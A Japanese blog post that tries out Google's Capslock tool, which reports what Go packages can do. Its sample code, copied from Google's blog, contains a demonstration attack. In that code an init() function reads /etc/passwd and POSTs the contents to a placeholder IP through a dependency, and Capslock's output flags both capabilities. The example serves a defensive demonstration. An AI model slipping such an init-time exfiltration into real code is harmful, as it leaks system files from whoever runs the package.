Goパッケージのセキュリティリスク可視化ツール「Capslock」を触ってみた

ご無沙汰です。@Esperna です。

# 背景
10/31に[Go 1.21 リリースパーティ & GopherCon 2023 報告会](https://gocon.connpass.com/event/299108/)に参加して来ました。
そこで、[Capslock](https://github.com/google/capslock/tree/main/docs
)というセキュリティリスクの可視化ツールが紹介されていて、興味深かったのでブログに書きます。

# Capslock
まず[Capslock](https://github.com/google/capslock/tree/main/docs
)が何かというと、Capslockはmoduleであるpackageとそれが依存するpackageを解析するものです。脆弱性ではなく[Capability](https://github.com/google/capslock/blob/main/docs/capabilities.md)というものを分析し、脆弱性につながる依存関係を検出するものと私は理解しています。

# Capslockを動かしてみた。
[Capslock: What is your code really capable of?](https://security.googleblog.com/2023/09/capslock-what-is-your-code-really.html)というGoogleのセキュリティブログにある Using Capslockというコードを書いたポンチ絵があるのですが、それを写経したコードで構成されるpackageに対して、Capslockを実行してみます。


フォルダ構造は以下
```
tree
.
├── external
│   └── external.go
├── go.mod
└── main.go

2 directories, 3 files
```

ファイルの内容は以下の通り
```
cat go.mod
module sample

go 1.21
````

```go:main.go
package main

import (
	"os"
	"sample/external"
)

func init() {
	data, _ := os.ReadFile("/etc/passwd")
	external.Analyze(data)
}
```

```go:external/external.go
package external

import (
	"bytes"
	"net/http"
)

func Analyze(data []byte) {
	http.Post("203.0.113.42", "text/plain", bytes.NewReader(data))
}
```

実際実行してみるとCAPABILITY_FILESとCAPABILITY_NETWORKというCapabilityが検出されました。
```
capslock -packages sample
2023/11/02 08:37:30 Loaded package "main"
Capslock is an experimental tool for static analysis of Go packages. Share feedback and file bugs at github.com/google/capslock.
For additional debugging signals, use verbose mode with -output=v
To get machine-readable full analysis output, use -output=json

Analyzed packages:

CAPABILITY_FILES: 2 references
CAPABILITY_NETWORK: 2 references
```

CAPABILITY_FILESはファイルシステムの読み書きができることを示していて
CAPABILITY_NETWORKはネットワーク通信ができることを示しています。
-output=vをつけると詳細が出力されます。

```
capslock -packages sample -output=v
2023/11/02 08:38:42 Loaded package "main"
Capslock is an experimental tool for static analysis of Go packages. Share feedback and file bugs at github.com/google/capslock.
To get machine-readable full analysis output, use -output=json

Analyzed packages:

CAPABILITY_FILES: 2 references
2 direct, 0 transitive
Example callpath: sample.init sample.init#1 os.ReadFile

CAPABILITY_NETWORK: 2 references
2 direct, 0 transitive
Example callpath: sample.init sample.init#1 sample/external.Analyze net/http.Post
```

-output=jsonを付けるとjson出力できます

```
capslock -packages sample -output=json
2023/11/02 08:39:02 Loaded package "main"
{
	"capabilityInfo":  [
		{
			"packageName":  "main",
			"capability":  "CAPABILITY_NETWORK",
			"depPath":  "sample.init#1 sample/external.Analyze net/http.Post",
			"path":  [
				{
					"name":  "sample.init#1"
				},
				{
					"name":  "sample/external.Analyze",
					"site":  {
						"filename":  "main.go",
						"line":  "10",
						"column":  "18"
					}
				},
				{
					"name":  "net/http.Post",
					"site":  {
						"filename":  "external.go",
						"line":  "9",
						"column":  "11"
					}
				}
			],
			"packageDir":  "sample",
			"capabilityType":  "CAPABILITY_TYPE_DIRECT"
		},
  以下略
  ```

Go 1.21 リリースパーティで聞いた話では静的解析では検出できない、ネットワークのアクセス、外部コマンドの実行など未発見の脆弱性に対応できうるものということで、悪意のあるコードをinit関数に混ぜ込まれたりした時に見つけることができるというものでした。

## 所感

もっと実際のコードに色々試して調べてみようと思います。

# 参考資料

* [Go 1.21 リリースパーティ & GopherCon 2023 報告会](https://gocon.connpass.com/event/299108/)
* [Capslock](https://github.com/google/capslock/tree/main/docs)
* [Capability](https://github.com/google/capslock/blob/main/docs/capabilities.md)
* [Capslock: What is your code really capable of?](https://security.googleblog.com/2023/09/capslock-what-is-your-code-really.html)